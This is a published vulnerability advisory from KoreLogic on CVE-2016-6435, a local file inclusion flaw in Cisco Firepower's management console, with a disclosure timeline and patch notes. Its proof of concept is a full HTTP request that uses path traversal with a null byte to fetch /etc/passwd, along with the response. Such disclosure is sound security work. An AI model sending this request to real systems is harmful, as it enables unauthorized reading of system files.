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[FD] KL-001-2016-006 : Cisco Firepower Threat Management Console Local File Inclusion

KL-001-2016-006 : Cisco Firepower Threat Management Console Local File Inclusion

Title: Cisco Firepower Threat Management Console Local File Inclusion
Advisory ID: KL-001-2016-006
Publication Date: 2016.10.05
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2016-006.txt

1. Vulnerability Details

     Affected Vendor: Cisco
     Affected Product: Firepower Threat Management Console
     Affected Version: Cisco Fire Linux OS 6.0.1 (build 37/build 1213)
     Platform: Embedded Linux
     CWE Classification: CWE-73: External Control of File Name or Path
     Impact: Information Disclosure
     Attack vector: HTTP
     CVE-ID: CVE-2016-6435

2. Vulnerability Description

     An authenticated user can access arbitrary files on the local system.

3. Technical Description

     Requests that take a file path do not properly filter what files can
     be requested.  The webserver does not run as root, so files such as
     /etc/shadow are not readable.

     GET /events/reports/view.cgi?download=1&files=../../../etc/passwd%00 HTTP/1.1
     User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:45.0)
Gecko/20100101 Firefox/45.0
     Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
     Accept-Language: en-US,en;q=0.5
     Accept-Encoding: gzip, deflate, br
     DNT: 1
     Cookie: CGISESSID=2ee7e6f19a104f4453e201f26fdbd6f3
     Connection: close

     HTTP/1.1 200 OK
     Date: Fri, 22 Apr 2016 23:58:41 GMT
     Server: Apache
     Content-Disposition: attachment; filename=passwd
     X-Frame-Options: SAMEORIGIN
     Connection: close
     Content-Type: application/octet-stream
     Content-Length: 623

     www:x:67:67:HTTP server:/var/www:/sbin/nologin
     sfrna:x:88:88:SF RNA User:/Volume/home/sfrna:/sbin/nologin
     snorty:x:90:90:Snorty User:/Volume/home/snorty:/sbin/nologin
     sfsnort:x:95:95:SF Snort User:/Volume/home/sfsnort:/sbin/nologin

4. Mitigation and Remediation Recommendation

     The vendor has issued a patch for this vulnerability
     in version 6.1. Vendor acknowledgement available at:


5. Credit

     This vulnerability was discovered by Matt Bergin (@thatguylevel)
     of KoreLogic, Inc.

6. Disclosure Timeline

     2016.06.30 - KoreLogic sends vulnerability report and PoC to Cisco.
     2016.06.30 - Cisco acknowledges receipt of vulnerability report.
     2016.07.20 - KoreLogic and Cisco discuss remediation timeline for
                  this vulnerability and for 3 others reported in the
                  same product.
     2016.08.12 - 30 business days have elapsed since the vulnerability was
                  reported to Cisco.
     2016.09.02 - 45 business days have elapsed since the vulnerability was
                  reported to Cisco.
     2016.09.09 - KoreLogic asks for an update on the status of the
                  remediation efforts.
     2016.09.15 - Cisco confirms remediation is underway and soon to be
     2016.09.28 - Cisco informs KoreLogic that the remediation details will
                  be released publicly on 2016.10.05.
     2016.10.05 - Public disclosure.

7. Proof of Concept

     See Technical Description

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